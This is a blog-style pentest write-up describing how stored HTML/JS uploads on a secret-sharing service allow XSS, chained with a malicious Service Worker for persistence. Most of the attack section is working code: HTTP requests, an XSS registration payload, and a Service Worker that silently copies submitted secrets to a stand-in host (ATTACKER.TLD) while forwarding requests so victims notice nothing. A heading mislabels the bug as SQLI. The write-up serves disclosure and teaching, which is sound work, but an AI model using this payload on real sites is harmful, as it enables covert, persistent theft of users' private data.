Introduction

Hello everyone,

It has been a while since my last post, five years to be exact. And I finally had some free time to share this write-up about an exploitation technique involving Service Workers and XSS. I discovered this issue a few years ago while doing some freelance pentesting work. While I no longer have access to the application, I will try to replicate the setup as closely as possible from memory.

The Target

SQLI

While working on a project, I found a secret-sharing service that worked as follows: it accepted a string input and generated a URL where the string could be accessed. Once accessed, the string would be removed from the server, and subsequent visits to the link would return:

“Content not found or already accessed.”

For example, submitting the text Test resulted in the following HTTP request:

POST /submit HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 18
Content-Type: application/json
Host: vict.im
Origin: http://vict.im
Referer: http://vict.im/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

{"content":"Test"}

Upon submission, I received a link such as:

https://vict.im/049034d00db33de4e58ea5c7e1e6bf5e

When I visited the link, it returned the string Test with the Content-Type: text/plain. However, when I submitted HTML code in the content field, something interesting happened:

POST /submit HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 18
Content-Type: application/json
Host: vict.im
Origin: https://vict.im
Referer: https://vict.im/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

{"content":"<html><body><h1>Test</h1></body></html>"}

Unexpected Response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 47
ETag: W/"2f-23LlZ+e8azLWAnCO7KBmVGimMyc"
Date: Mon, 10 Feb 2025 19:34:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5

<html><body><h1>Test</h1></body></html>

Since the response had Content-Type: text/html, I was able to inject JavaScript code that executed successfully. Additionally, when I uploaded a .js file content, the response header was set to Content-Type: text/javascript.

The Exploit

By registering a malicious Service Worker, I could intercept requests made to the /submit endpoint and exfiltrate data before forwarding the request.

https://ATTACKER.TLD/capture will receive any request to the endpoint /submit.

Malicious Service Worker Code:

self.addEventListener('fetch', (event) => {
    const url = new URL(event.request.url);
    if (url.pathname === '/submit' && event.request.method === 'POST') {
        event.respondWith(forwardAndContinue(event.request));
    }
});

async function forwardAndContinue(request) {
    const clonedRequest = request.clone();
    const requestData = await clonedRequest.json();
    
    // Forward intercepted request data to attacker's server
    fetch('https://ATTACKER.TLD/capture', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(requestData),
    });
    
    // Continue the original request so the victim remains unaware
    return fetch(request);
}

Explanation:

  • The fetch event listener intercepts all outgoing requests.
  • If the intercepted request is a POST request to /submit, it triggers forwardAndContinue.
  • The function forwardAndContinue:
    1. Clones the request to avoid issues when reusing it.
    2. Extracts the request body (which contains the secret message).
    3. Sends the extracted data to an attacker’s server (https://ATTACKER.TLD/capture).
    4. Forwards the original request to ensure normal functionality, keeping the attack stealthy.

XSS Payload for Service Worker Injection:

After we send the Service Worker code, we will receive a random MD5 filename. We need to add it to the following code:

<html>
  <script>
    if ("serviceWorker" in navigator) {
      navigator.serviceWorker.register("/5f7e2e938823aaa7169ffa371f383a85"); // malicious-worker.js
    }
  </script>
</html>

Explanation:

  • The script checks if Service Workers are supported.
  • If they are, it registers the malicious Service Worker file (the attacker-controlled JavaScript file).
  • Once executed in the victim’s browser, this persists until manually removed, ensuring continuous data exfiltration.

After submitting this code, we receive another link for the HTML page. We send this link to the victim. When they open it, the JavaScript executes and registers our malicious Service Worker at the root path of the service.

Now, every time the victim uses the service, their requests get intercepted and sent to our malicious endpoint before being forwarded.

Conclusion

By chaining XSS with a malicious Service Worker, an attacker can achieve persistent request interception & data exfiltration. Since Service Workers remain active even after the XSS is removed, this technique can be difficult to detect and mitigate.

🚨 Service Workers can become an undetectable spy in the browser!